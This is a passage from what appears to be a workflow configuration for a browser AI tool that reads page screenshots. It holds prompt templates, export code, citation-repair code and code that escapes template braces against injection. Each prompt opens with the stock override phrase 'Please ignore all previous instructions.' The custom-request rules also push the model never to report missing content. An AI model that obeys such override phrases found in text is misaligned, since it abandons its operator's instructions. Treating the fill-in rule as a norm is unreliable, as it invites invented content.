\ \ [REPORT FORMAT]\ \ \ ### What The Page Looks Like\ \ Two or three sentences on layout, structure and visual tone.\ \ \ ### Visual Elements\ \ One `####` block per element: what it depicts, what it communicates,\ where it sits and how it relates to the surrounding text.\ \ \ ### Data In Charts And Diagrams\ \ Axes, series and readable values as a markdown table where possible.\ Write "none present" if there are no charts.\ \ \ ### Anything Unreadable\ \ Regions the record marks as cut off, blurred or illegible.\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [VISUAL ANALYSIS]:\ param: gpt\ isolated: true\ - label: AFTER VISUAL ANALYSIS\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = data'\ label: DATA EXTRACTION\ type: group\ steps:\ - label: GENERATE DATA EXTRACTION\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{groundRule}}\ \ \ Pull every quantitative thing on the page out of the record and lay it\ out as data. Charts count: the record read their axes, series and labels\ off the pixels, and a plain text extraction could never have done that.\ \ \ [RULES]\ \ - One markdown table per source. Put the source above it as a `####`\ heading, e.g. `#### Pricing table (segment 2)`.\ \ - Reproduce every number, unit, currency and date exactly as recorded.\ Never round, never convert, never re-order rows.\ \ - For charts and diagrams, give the columns Series, Category, Value,\ Unit. Mark any value that was read off a bar or a line rather than\ printed as a label with `~` in front of it.\ \ - For specification lists, key-value blocks, pricing tiers and\ comparison grids, use the columns Item, Value, Context.\ \ - Where a cell was unreadable write `[unreadable]`, never a guess.\ \ - After the tables add a short `### Notes` section: units, time frames,\ footnotes, and anything that makes the numbers comparable or not\ comparable.\ \ - If the record contains no quantitative content at all, say exactly\ that in one sentence and stop.\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [DATA TABLES]:\ param: gpt\ isolated: true\ - label: AFTER DATA EXTRACTION\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = audit'\ label: UI AUDIT\ type: group\ steps:\ - label: GENERATE UI AUDIT\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{groundRule}}\ \ \ Audit this page the way a designer would who is looking at a screenshot,\ not at the markup. Judge only what the record actually describes:\ placement, prominence, hierarchy, density and visual tone.\ \ \ [REPORT FORMAT]\ \ \ ### First Five Seconds\ \ What a first-time visitor sees and understands before scrolling, in\ three sentences.\ \ \ ### Layout And Hierarchy\ \ How the page is built up, where the eye is led, whether the visual\ weight matches the importance of the content.\ \ \ ### Calls To Action\ \ Markdown table: Label | Where it sits | How prominent | What it seems to\ promise.\ \ \ ### Navigation And Orientation\ \ Menus, breadcrumbs, section markers, sticky elements, and whether a\ visitor can tell where they are.\ \ \ ### Friction And Interruptions\ \ Cookie dialogs, paywalls, modals, banners, ads, empty states,\ placeholders — anything that stands between the visitor and the content.\ \ \ ### Accessibility Signals\ \ Only what is visible in the screenshots: small text, thin contrast,\ icon-only controls without labels, colour used as the only distinction,\ cramped touch targets. Say plainly that this is a visual check, not a\ technical audit.\ \ \ ### Five Improvements\ \ Ranked, each one sentence, each tied to something concrete on the page.\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [UI AUDIT]:\ param: gpt\ isolated: true\ - label: AFTER UI AUDIT\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = rebuild'\ label: PAGE REBUILD\ type: group\ steps:\ - label: GENERATE PAGE REBUILD\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{groundRule}}\ \ \ Rebuild the page as a self-contained markdown document that a reader\ could use instead of the page itself. This is a reconstruction, not a\ summary: nothing is compressed, nothing is commented on.\ \ \ [RULES]\ \ - Keep the original reading order, from the first segment to the last.\ \ - Keep the heading hierarchy: page headings become `#`, `##`, `###` in\ the same nesting they had on screen.\ \ - Keep the body text as text, lists as lists, tables as markdown tables,\ code as fenced code blocks.\ \ - Put every image, chart, diagram, icon-with-meaning and photograph at\ the exact place it appeared, as a blockquote line starting with `> 🖼️`\ followed by what it shows.\ \ - Merge the overlap between consecutive frames silently: repeated\ headers, footers and navigation appear once, at the top, and are not\ repeated per segment.\ \ - Do not write segment markers, do not mention screenshots, do not add a\ preface or a conclusion.\ \ - Mark gaps inline as `> ⚠️ [unreadable]` where the record marks them.\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [REBUILT PAGE]:\ param: gpt\ isolated: true\ - label: AFTER PAGE REBUILD\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = links'\ label: LINKS AND ACTIONS\ type: group\ steps:\ - label: GENERATE LINKS AND ACTIONS\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{groundRule}}\ \ \ List everything on this page that a visitor could click, tap, type into\ or follow, grouped by the part of the page it sits in.\ \ \ [REPORT FORMAT]\ \ \ ### Inventory\ \ Markdown table: Label | Type | Section | What it appears to do.\ \ Type is one of: link, button, tab, menu item, form field, dropdown,\ checkbox, search, download, social, other.\ \ \ ### Primary Paths\ \ The three routes the page most obviously wants a visitor to take, each\ one sentence.\ \ \ ### Dead Ends And Doubts\ \ Controls whose purpose is not clear from the screenshot, labels that\ repeat with different targets, and anything the record marks as\ unreadable.\ \ \ Only list what the record actually contains. Never invent a URL: the\ record holds labels, not addresses, so write the label and say where it\ sits.\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [LINKS AND ACTIONS]:\ param: gpt\ isolated: true\ - label: AFTER LINKS AND ACTIONS\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = quoting'\ label: QUOTE EXTRACTION\ type: group\ steps:\ - label: ASK QUOTE TARGET\ type: ask\ message: >-\ Please ask a specific question so that I can quote something from the\ frames:\ param: quote\ options: null\ default: ''\ vision:\ enabled: false\ mode: area\ hint: ''\ send: true\ optionsInvalid: false\ - label: GENERATE QUOTE EXTRACTION\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ [INSTRUCTIONS FOR VERBATIM CITATION]\ \ 1. Quote exclusively from the [EVIDENCE], which is a verbatim reading of\ the frames.\ \ 2. Do not fabricate or invent any text content.\ \ 3. Reproduce each quote exactly as recorded, without modification.\ \ 4. Name the exact frame each quote came from, using the `#### Frame N`\ heading it sits under, and the segment marker above it.\ \ 5. Quote complete units of meaning. Never cut a sentence or an argument\ in half; quote everything that belongs together.\ \ 6. If nothing in the record matches, say so plainly instead of inventing\ a quote.\ \ \ [CITATION FORMAT]\ \ \ Frame: `[FRAME NUMBER]` (segment `[SEGMENT NUMBER]`)\ \ Quote:\ \ ```\ \ [EXACT QUOTE]\ \ ```\ \ Context: one sentence on where this sits on the page.\ \ \ [YOUR QUESTION]: {{quote}}\ \ \ [EVIDENCE]:\ \ {{evidence}}\ \ \ [CITATIONS]:\ param: gpt\ isolated: true\ - label: AFTER QUOTE EXTRACTION\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = record'\ label: SHOW THE RECORD\ type: group\ steps:\ - label: PRINT RECORD HEADER\ type: say\ message: >-\ 📜 The frame-by-frame reading, {{shotCount}} frames in\ {{record.segments}} segment(s). This costs no request — it is already on\ disk.\ - label: PRINT RECORD\ type: say\ message: '{{payload}}'\ - label: AFTER RECORD\ type: jump\ to: FOLLOW UP MENU\ - condition: '{{format-option}} = $custom'\ label: CUSTOM INSTRUCTION\ type: group\ steps:\ - label: APPLY CUSTOM INSTRUCTION\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{buildRule}}\ \ \ Whatever stands under [YOUR REQUEST] is what you have to do with the\ record.\ \ \ [RULES]\ \ - Do what the request says and output the result alone: no preamble, no\ account of what you did, no closing remark. Where it asks for code or a\ document, the answer is that code or that document and nothing else.\ \ - Never reply that the record "does not contain" what was asked for. The\ record contains the page; what was asked for is what you build out of\ it. A request to build something can always be carried out, because the\ material is already there.\ \ - Take every word, number, heading, label, price, name and image\ description from the record and reproduce it exactly.\ \ - Use every piece of visual form the record gives you - typefaces,\ sizes, colours, spacing, alignment, layout, order. Where the record is\ silent, choose something consistent with what it does say and carry on;\ do not stop to ask and do not leave a placeholder for a decision you can\ make yourself.\ \ - Where the record marks a region `[unreadable]` or `NOT READ`, put a\ clearly marked placeholder at that spot and continue. A gap never stops\ the work.\ \ - If the request is a question rather than a task, answer it from the\ record and name the frame it came from.\ \ \ [YOUR REQUEST]:\ \ {{format}}\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [ANSWER]:\ param: gpt\ isolated: true\ - label: AFTER CUSTOM INSTRUCTION\ type: jump\ to: VERIFY OUTPUT\ - condition:\ - '{{format}} = export'\ - '{{change}} = export'\ label: EXPORT ARTIFACTS\ type: group\ steps:\ - label: ASK EXPORT FORMAT\ type: ask\ message: Which artifact should be written to disk?\ param: exportFormat\ options:\ - label: 📝 REPORT · the current answer as Markdown\ value: md\ - label: 🖼️ RECORD · the full frame-by-frame reading\ value: transcript\ - label: 🧩 JSON · answer and record combined\ value: json\ - label: 📃 PLAIN · everything as plain text\ value: txt\ - label: 📋 CLIPBOARD · copy the answer instead of downloading\ value: clipboard\ default: md\ vision:\ enabled: false\ mode: area\ hint: ''\ send: true\ optionsInvalid: false\ - label: WRITE EXPORT FILE\ type: js\ args: exportFormat, title, url, gpt, notes, shotCount, segment\ code: >-\ // FULL PAGE VISION · EXPORT\ \ // The native EXPORT step is unreliable, so everything is built here,\ and it is built\ \ // as a ladder rather than a single attempt:\ \ // 1. write a Blob and click a hidden anchor - the normal path;\ \ // 2. if the page forbids that, open the content in a new tab so it\ can still be\ \ // saved by hand;\ \ // 3. if that is blocked too, copy the content to the clipboard;\ \ // 4. if even that fails, report honestly instead of pretending\ success.\ \ // The clipboard format skips straight to step three by design.\ \ function s(v) {\ // The record carries hardened braces so the engine never executes text lifted off a page.\ // A file on disk is never interpolated, so the armour comes off again here and the export\ // shows exactly what stood on the page.\ return String(v == null ? '' : v).replace(/\{\{\\/g, '{{');\ }\ \ \ function pad(v) { return String(v).padStart(2, '0'); }\ \ \ async function toClipboard(text) {\ try {\ if (navigator.clipboard && navigator.clipboard.writeText) {\ await navigator.clipboard.writeText(text);\ return true;\ }\ } catch (e) { /* fall through to the legacy path */ }\ try {\ const ta = document.createElement('textarea');\ ta.value = text;\ ta.setAttribute('readonly', '');\ ta.style.position = 'fixed';\ ta.style.top = '-1000px';\ document.body.appendChild(ta);\ ta.select();\ const done = document.execCommand('copy');\ document.body.removeChild(ta);\ return done === true;\ } catch (e) {\ return false;\ }\ }\ \ \ const format = s(args.exportFormat).toLowerCase() || 'md';\ \ const title = s(args.title).trim();\ \ const url = s(args.url).trim();\ \ const summary = s(args.gpt).trim();\ \ const transcript = s(args.notes).trim();\ \ \ const stamp = new Date();\ \ const slug = (title || 'full-page-vision')\ .toLowerCase()\ .replace(/[^a-z0-9]+/g, '-')\ .replace(/^-+|-+$/g, '')\ .slice(0, 60) || 'full-page-vision';\ const stampStr = stamp.getFullYear() + pad(stamp.getMonth() + 1) +\ pad(stamp.getDate()) +\ '-' + pad(stamp.getHours()) + pad(stamp.getMinutes());\ const isoDay = stamp.getFullYear() + '-' + pad(stamp.getMonth() + 1) +\ '-' + pad(stamp.getDate());\ \ \ // Front matter makes the file land in Obsidian, Logseq or Notion as a\ real note\ \ // instead of as a loose text blob.\ \ const frontMatter = [\ '---',\ 'title: "' + title.replace(/"/g, '\\"') + '"',\ 'source: ' + url,\ 'captured: ' + isoDay,\ 'frames: ' + s(args.shotCount),\ 'segments: ' + s(args.segment),\ 'reader: full-page-vision',\ '---',\ ''\ ].join('\n');\ \ \ let content = '';\ \ let mime = 'text/markdown;charset=utf-8';\ \ let ext = 'md';\ \ \ if (format === 'json') {\ mime = 'application/json;charset=utf-8';\ ext = 'json';\ content = JSON.stringify({\ title: title,\ url: url,\ generatedAt: stamp.toISOString(),\ frames: Number(s(args.shotCount).replace(/[^0-9]/g, '')) || 0,\ segments: Number(s(args.segment).replace(/[^0-9]/g, '')) || 0,\ answer: summary,\ visionRecord: transcript\ }, null, 2);\ } else if (format === 'txt') {\ mime = 'text/plain;charset=utf-8';\ ext = 'txt';\ content = [title, url, isoDay, '', summary, '', transcript].join('\n');\ } else if (format === 'transcript') {\ content = frontMatter + ['# ' + (title || 'Vision record'), '', summary ? '' : '', '---', '', transcript].join('\n');\ } else if (format === 'clipboard') {\ content = summary || transcript;\ } else {\ content = frontMatter + ['# ' + (title || 'Full page summary'), '', summary || transcript, ''].join('\n');\ }\ \ \ const filename = slug + '-' + stampStr + '.' + ext;\ \ const result = { ok: 'no', filename: filename, bytes: content.length,\ format: ext, via: 'none', message: '' };\ \ \ if (format === 'clipboard') {\ const copied = await toClipboard(content);\ result.ok = copied ? 'yes' : 'no';\ result.via = 'clipboard';\ result.message = copied\ ? 'Copied to the clipboard (' + content.length + ' characters).'\ : 'The clipboard was refused by this page. Try the Markdown download instead.';\ return result;\ }\ \ \ // Step one: the download.\ \ try {\ const blob = new Blob([content], { type: mime });\ const href = URL.createObjectURL(blob);\ const a = document.createElement('a');\ a.href = href;\ a.download = filename;\ a.style.display = 'none';\ document.body.appendChild(a);\ a.click();\ setTimeout(function () {\ try { document.body.removeChild(a); } catch (e) { /* ignore */ }\ try { URL.revokeObjectURL(href); } catch (e) { /* ignore */ }\ }, 1500);\ result.ok = 'yes';\ result.via = 'download';\ result.bytes = blob.size;\ result.message = 'Saved as ' + filename + ' (' + blob.size + ' bytes).';\ return result;\ } catch (e) {\ result.error = String((e && e.message) || e);\ }\ \ \ // Step two: a new tab the user can save by hand.\ \ try {\ const blob = new Blob([content], { type: mime });\ const href = URL.createObjectURL(blob);\ const win = window.open(href, '_blank');\ if (win) {\ result.ok = 'yes';\ result.via = 'tab';\ result.message = 'The download was blocked, so ' + filename + ' was opened in a new tab. Save it from there.';\ return result;\ }\ } catch (e) { /* fall through */ }\ \ \ // Step three: the clipboard.\ \ const copied = await toClipboard(content);\ \ result.ok = copied ? 'yes' : 'no';\ \ result.via = copied ? 'clipboard' : 'none';\ \ result.message = copied\ ? 'Downloads are blocked on this page, so the content was copied to the clipboard instead.'\ : 'This page blocks downloads, new tabs and the clipboard. Choose EXPORT again on a normal page.';\ return result;\ param: exportResult\ timeout: 60000\ onFailure: ''\ silent: true\ - condition: '{{exportResult.ok}} = yes'\ label: CONFIRM EXPORT\ type: say\ message: 📦 {{exportResult.message}}\ - condition: '{{exportResult.ok}} = no'\ label: REPORT EXPORT FAILURE\ type: say\ message: ⚠️ {{exportResult.message}}\ - label: AFTER EXPORT\ type: jump\ to: FOLLOW UP MENU\ - condition:\ - '{{format}} = repurpose'\ - '{{change}} = repurpose'\ label: REPURPOSE HANDOFF\ type: group\ steps:\ - label: STAGE REPURPOSE INPUT\ type: js\ args: gpt, payload\ code: >-\ // FULL PAGE VISION · STAGE A HANDOVER\ \ // Picks what to hand to the other command - the current answer if there\ is one, the record\ \ // otherwise - and armours it for exactly one interpolation hop.\ \ //\ \ // This used to be a CALC step, `handoff = '{{gpt}}'`, with a second\ CALC falling back to\ \ // `{{payload}}`. Both of those are interpolations, and the engine\ consumes one layer of the\ \ // `{{\` escape per interpolation. So the staged text arrived stripped,\ and the very next hop\ \ // - `inputs: ['{{handoff}}']` - interpolated it again, this time with\ nothing protecting it:\ \ // a `{{page}}` or `{{serp x}}` transcribed off the page went live on\ the way into the other\ \ // command. Selecting the source in JS means no interpolation happens\ here at all, and the one\ \ // layer added at the end is spent by the handover itself, so the\ receiving command is given\ \ // the literal text that stood on the page.\ \ function strip(value) {\ return String(value == null ? '' : value).replace(/\{\{\\+/g, '{{');\ }\ \ \ function harden(value) {\ return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\');\ }\ \ \ const answer = strip(args.gpt).trim();\ \ const record = strip(args.payload).trim();\ \ const text = answer !== '' ? answer : record;\ \ \ if (text === '') return '';\ \ return harden(text);\ param: handoff\ timeout: 30000\ onFailure: ''\ silent: true\ - label: CALL REPURPOSE COMMAND\ type: command\ name: Repurpose text\ inputs:\ - '{{handoff}}'\ silent: false\ - label: AFTER REPURPOSE\ type: jump\ to: FOLLOW UP MENU\ - label: VERIFY OUTPUT\ type: group\ steps:\ - label: HARDEN ANSWER\ type: js\ args: gpt\ code: >-\ // FULL PAGE VISION · HARDEN TEXT\ \ // The one piece of armour this command cannot do without.\ \ //\ \ // The frames are read verbatim, so whatever stands on the page ends up\ inside a parameter -\ \ // and on a page that documents a template language, that includes\ things like {{page}},\ \ // {{serp query}} or {{transcript}}. The moment such a record is\ interpolated into the next\ \ // prompt, those look exactly like real system parameters: the engine\ goes off and fetches a\ \ // whole page, runs a web search or pulls a transcript, once per\ occurrence, for every answer\ \ // that carries the record. A documentation page with forty examples in\ it turns a two second\ \ // step into minutes of work that nobody asked for. It looks like a\ hang; it is a record\ \ // quoting the engine's own syntax back at it.\ \ //\ \ // The cure is the escape the engine itself defines: a backslash after\ the opening braces\ \ // marks them as literal. The text still reads as {{page}} for a human\ and for the model, it\ \ // simply stops being a command. Idempotent, so text that has already\ been hardened is left\ \ // alone rather than growing a second backslash on every pass.\ \ function harden(value) {\ return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\');\ }\ \ \ // The step is used on several different slots, so it accepts whichever\ one it was given.\ \ const candidates = ['payload', 'gpt', 'notes', 'text', 'condensed',\ 'segmentNotes'];\ \ let raw = '';\ \ for (let i = 0; i < candidates.length; i++) {\ if (args[candidates[i]] != null && String(args[candidates[i]]) !== '') {\ raw = args[candidates[i]];\ break;\ }\ }\ \ return harden(raw);\ param: gpt\ timeout: 30000\ onFailure: ''\ silent: true\ - condition: '{{method}} = retrieval'\ label: VERIFY THE FRAME CITATIONS\ type: js\ args: gpt, evidence\ code: >-\ // FULL PAGE VISION · CITATION REPAIR\ \ // Runs after an answer that was written from a selection rather than\ from the whole record.\ \ // It takes every quote the answer put in its Source References block,\ finds where that text\ \ // really sits in the evidence, and rewrites the citation to point at\ the passage it actually\ \ // came from. Quotes it cannot find anywhere are removed and named.\ \ //\ \ // The reason for repairing rather than merely checking: a model that is\ told its quotes will\ \ // be located and corrected has no incentive to approximate, and a\ citation that survives this\ \ // step is one a reader can act on - scroll to that frame, look at that\ screen, see the thing.\ \ // A citation that is only asserted is worth nothing.\ \ //\ \ // Two stages, and the separation is the whole design.\ \ //\ \ // LOCATE works on characters, and is allowed to be generous. Its only\ job is to find the\ \ // passage; a stray digit or a collapsed line break must not hide text\ that is really there.\ \ //\ \ // JUDGE works on ordered content tokens, and is not generous at all.\ Character similarity\ \ // cannot tell "the button is disabled" from "the button is not\ disabled" - two characters\ \ // apart, opposite meanings. Ordered tokens can, and the numeric,\ negation and modal guards\ \ // below catch the rest: swapping a number, dropping a "not", or\ turning "may" into "must"\ \ // all fail even when every other word matches.\ \ function norm(s) {\ return String(s == null ? '' : s)\ .normalize('NFKC')\ .replace(/[\u200B-\u200F\u00AD\uFEFF]/g, '')\ .replace(/[\u2018\u2019\u201C\u201D\u00AB\u00BB\u201E]/g, '"')\ .replace(/[\u2010-\u2015\u2212]/g, '-')\ .replace(/\s+/g, ' ')\ .toLowerCase()\ .trim();\ }\ \ \ function lev(a, b) {\ const m = a.length, n = b.length;\ if (!m) return n;\ if (!n) return m;\ let prev = new Array(n + 1), cur = new Array(n + 1);\ for (let j = 0; j <= n; j++) prev[j] = j;\ for (let i = 1; i <= m; i++) {\ cur[0] = i;\ for (let j = 1; j <= n; j++) {\ cur[j] = Math.min(prev[j] + 1, cur[j - 1] + 1,\ prev[j - 1] + (a.charAt(i - 1) === b.charAt(j - 1) ? 0 : 1));\ }\ const t = prev; prev = cur; cur = t;\ }\ return prev[n];\ }\ \ \ function lcs(a, b) {\ const m = a.length, n = b.length;\ if (!m || !n) return 0;\ let prev = new Array(n + 1).fill(0), cur = new Array(n + 1).fill(0);\ for (let i = 1; i <= m; i++) {\ cur[0] = 0;\ for (let j = 1; j <= n; j++) {\ cur[j] = a[i - 1] === b[j - 1] ? prev[j - 1] + 1 : Math.max(prev[j], cur[j - 1]);\ }\ const t = prev; prev = cur; cur = t;\ }\ return prev[n];\ }\ \ \ const STOP = { the: 1, a: 1, an: 1, of: 1, to: 1, in: 1, and: 1, or: 1,\ is: 1, are: 1, be: 1,\ as: 1, that: 1, this: 1, it: 1, for: 1, on: 1, with: 1, by: 1, at: 1, from: 1, was: 1,\ were: 1, der: 1, die: 1, das: 1, und: 1, ist: 1, von: 1, zu: 1, den: 1, dem: 1, ein: 1,\ eine: 1, im: 1, auf: 1, mit: 1, als: 1 };\ const NEG =\ /^(?:not|no|never|none|nor|without|neither|cannot|nicht|kein|keine|keiner|nie|niemals|ohne|weder)$/;\ \ const CRIT =\ /^(?:must|shall|should|may|might|can|could|will|would|always|never|all|every|any|none|some|most|few|only|more|less|higher|lower|larger|smaller|enabled|disabled|active|inactive|muss|kann|soll|darf|immer|nie|alle|jeder|einige|nur|mehr|weniger)$/;\ \ \ function tokens(s) {\ return norm(s).split(/[^\p{L}\p{N}\p{M}]+/u).filter(Boolean);\ }\ \ function content(s) {\ return tokens(s).filter(function (w) { return !STOP[w]; });\ }\ \ \ // A character map back into the original text, so a located quote can\ be restored to the\ \ // exact wording the record carries rather than to the model's rendering\ of it.\ \ function mapped(src) {\ const raw = String(src == null ? '' : src);\ let out = '';\ const map = [];\ for (let i = 0; i < raw.length; i++) {\ let c = raw.charAt(i);\ if (/\s/.test(c)) {\ if (out.charAt(out.length - 1) === ' ') continue;\ c = ' ';\ } else {\ c = norm(c);\ if (!c) continue;\ }\ out += c;\ map.push(i);\ }\ return { text: out, map: map };\ }\ \ \ const answer = String(args.gpt == null ? '' : args.gpt);\ \ const evidence = String(args.evidence == null ? '' : args.evidence);\ \ \ if (answer.trim() === '' || evidence.trim() === '') {\ return { answer: answer, audit: '', total: 0, verified: 0, ok: 'no' };\ }\ \ \ // The passage boundaries, so a located offset can be turned back into a\ passage number, and\ \ // the map that binds each number to a frame.\ \ const marks = [];\ \ evidence.replace(/\[(\d+)\]\s/g, function (m, n, off) {\ marks.push({ at: off, n: parseInt(n, 10) });\ return m;\ });\ \ const stripped = evidence.replace(/\[(\d+)\]\s/g, function (m) {\ return new Array(m.length + 1).join(' ');\ });\ \ function passageAt(off) {\ let p = 0;\ for (let i = 0; i < marks.length; i++) {\ if (marks[i].at <= off) p = marks[i].n; else break;\ }\ return p;\ }\ \ \ const FRAME = {};\ \ String(evidence).split('\n').slice(0, 400).forEach(function (line) {\ const m = line.match(/^\[(\d+)\]\s*=\s*(.+)$/);\ if (m) FRAME[m[1]] = m[2].trim();\ });\ \ \ const H = mapped(stripped);\ \ \ function locate(quote) {\ const q = norm(quote);\ if (q.length < 12) return null;\ const at = H.text.indexOf(q);\ if (at > -1) return { at: at, len: q.length, sc: 1 };\ \ const w = q.split(' ').filter(Boolean);\ const mid = w.length >> 1;\ const anchors = [];\ [w.slice(0, 4).join(' '), w.slice(-4).join(' '), w.slice(mid, mid + 4).join(' ')]\ .forEach(function (a) { if (a.length >= 6 && anchors.indexOf(a) === -1) anchors.push(a); });\ \ let best = null, tries = 0;\ const factors = [0.9, 1.0, 1.15, 1.35];\ for (let ai = 0; ai < anchors.length && tries < 600; ai++) {\ let i = -1;\ while ((i = H.text.indexOf(anchors[ai], i + 1)) !== -1 && tries < 600) {\ const shifts = [0, -(q.length >> 2), -(q.length >> 1)];\ for (let si = 0; si < shifts.length; si++) {\ const st = Math.max(0, i + shifts[si]);\ for (let fi = 0; fi < factors.length; fi++) {\ const seg = H.text.substr(st, Math.round(q.length * factors[fi]));\ if (seg.length < 8) continue;\ tries++;\ const sc = 1 - lev(q, seg) / Math.max(q.length, seg.length);\ if (!best || sc > best.sc) best = { at: st, len: seg.length, sc: sc };\ }\ }\ }\ }\ return best && best.sc >= 0.55 ? best : null;\ }\ \ \ function judge(quote, window) {\ const q = norm(quote), w = norm(window);\ const charSim = 1 - lev(q, w) / Math.max(q.length, w.length);\ const cq = content(quote), cw = content(window);\ if (!cq.length) return 'unsupported';\ \ const order = lcs(cq, cw) / cq.length;\ const bag = {};\ let hits = 0;\ cw.forEach(function (t) { bag[t] = (bag[t] || 0) + 1; });\ cq.forEach(function (t) { if (bag[t]) { bag[t]--; hits++; } });\ const coverage = hits / cq.length;\ \ // Same words in a different order is the signature of an inverted claim. For a real quote\ // the two measures move together, so only genuine reordering separates them.\ const dice = (2 * hits) / (cq.length + cw.length);\ const ordDice = (2 * lcs(cq, cw)) / (cq.length + cw.length);\ if (dice - ordDice > 0.10) return 'unsupported';\ \ const dq = q.match(/\d+(?:[.,]\d+)?/g) || [];\ const dw = w.match(/\d+(?:[.,]\d+)?/g) || [];\ if (!dq.every(function (x) { return dw.indexOf(x) !== -1; })) return 'unsupported';\ \ const tq = tokens(q), tw = tokens(w);\ const have = {};\ tw.forEach(function (x) { have[x] = 1; });\ if (!tq.filter(function (x) { return CRIT.test(x); })\ .every(function (x) { return have[x]; })) return 'unsupported';\ if (tq.filter(function (x) { return NEG.test(x); }).length !==\ tw.filter(function (x) { return NEG.test(x); }).length) return 'unsupported';\ \ if (charSim >= 0.97 && order >= 0.97) return 'verbatim';\ if (cq.length >= 3 && order >= 0.80 && coverage >= 0.85) return 'near';\ return 'unsupported';\ }\ \ \ // `[1]` is the citation form. The optional tail matches the older `[1 ·\ Frame 3]` shape so\ \ // that a model which produces it anyway is repaired into the plain form\ rather than left\ \ // alone: one scheme in the answer, always.\ \ const CITE = /\[\s*(\d+)\s*(?:[·:\-\u2013][^\]]*)?\]/g; const WRAP = /^[\s"'\u00AB\u00BB\u201C\u201D\u201E\u2018\u2019]+|[\s"'\u00AB\u00BB\u201C\u201D\u201E\u2018\u2019]+$/g; const lines = answer.split(/\r?\n/); const keep = []; let total = 0, exact = 0, near = 0, recited = 0; const dropped = []; const good = {}, bad = {}; for (let li = 0; li < lines.length; li++) { const line = lines[li]; if (!/^\s*>/.test(line)) { keep.push(line); continue; } const body = line.replace(/^\s*>\s?/, ''); const ids = []; let m; CITE.lastIndex = 0; while ((m = CITE.exec(body)) !== null) ids.push(m[1]); const bare = body.replace(CITE, '').replace(/\*\*/g, '') .replace(/\[[^\]]*\]/g, '').replace(WRAP, '').trim(); if (bare.length < 12) { keep.push(line); continue; } total++; const hit = locate(bare); const tier = hit ? judge(bare, H.text.substr(hit.at, hit.len)) : 'unsupported'; if (tier === 'unsupported') { ids.forEach(function (id) { bad[id] = 1; }); dropped.push(bare.length > 88 ? bare.slice(0, 88) + '…' : bare); continue; } const s0 = H.map[hit.at]; const e0 = H.map[Math.min(hit.at + hit.len - 1, H.map.length - 1)]; let original = stripped.slice(s0, e0 + 1).replace(/\s+/g, ' ').replace(WRAP, '').trim(); if (!original) original = bare; // The citation the reader sees is the passage number and nothing else. The frame stays on // the evidence side, where it grounds the model and lets this step repair a wrong number; // it is not repeated in the answer, where it would only be noise beside the number that // already identifies the passage. const trueId = String(passageAt(s0)); const cite = '[' + trueId + ']'; if (ids.length && ids[0] !== trueId) recited++; ids.forEach(function (id) { good[id] = 1; }); good[trueId] = 1; if (tier === 'verbatim') { exact++; keep.push('> "' + original + '" **' + cite + '**'); } else { near++; keep.push('> "' + original + '" **' + cite + '** 〰️'); } } let clean = keep.join('\n').replace(/\n{3,}/g, '\n\n').trim(); let marked = 0; if (total > 0) { clean = clean.replace(CITE, function (full, id) { if (bad[id] && !good[id]) { marked++; return '[⚠️ unverified]'; } return full; }); } clean = clean.replace(/\s+([.,;:!?])/g, '$1').replace(/[ \t]{2,}/g, ' ').trim(); const verified = exact + near; let audit; if (total === 0) { audit = ''; } else { const bits = [exact + ' verbatim']; if (near) bits.push(near + ' near-verbatim 〰️'); if (dropped.length) bits.push(dropped.length + ' unsupported'); audit = '🛡️ **Citation audit** · ' + verified + '/' + total + ' verified · ' + bits.join(' · '); if (recited) { audit += '\n> 🔢 ' + recited + ' citation number' + (recited === 1 ? '' : 's') + ' corrected to the passage the quote really sits in'; } const mapped = Object.keys(FRAME).length; if (mapped) audit += '\n> 🗺️ ' + mapped + ' passage(s) in the evidence map'; if (marked) { audit += '\n> ⚠️ ' + marked + ' claim' + (marked === 1 ? '' : 's') + ' left without support — marked inline'; } dropped.forEach(function (d) { audit += '\n> ❌ not found in the evidence: ' + d; }); } // The record is armoured; the audit quotes it back into a chat message, so it is armoured too. audit = audit.replace(/\{\{(?!\\)/g, '{{\\'); return { answer: clean, audit: audit, total: total, verified: verified, ok: total > 0 ? 'yes' : 'no' }; param: citationCheck timeout: 60000 onFailure: '' silent: true - condition: '{{citationCheck.ok}} = yes' label: ADOPT THE REPAIRED ANSWER type: calc func: set param: gpt value: '{{citationCheck.answer}}' format: '' - condition: '{{citationCheck.ok}} = yes' label: REARMOUR THE REPAIRED ANSWER type: js args: gpt code: >- // FULL PAGE VISION · RE-ARMOUR AN ANSWER // One layer of the `{{\` escape, applied idempotently. Used wherever an answer has just // passed through a CALC value, which the engine defines as consuming exactly one layer. function harden(value) { return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } return harden(args.gpt); param: gpt timeout: 60000 onFailure: '' silent: true - condition: '{{citationCheck.ok}} = yes' label: SHOW THE CITATION AUDIT type: say message: '{{citationCheck.audit}}' - label: CHECK ANSWER type: js args: gpt code: >- // FULL PAGE VISION · ANSWER CHECK // Every 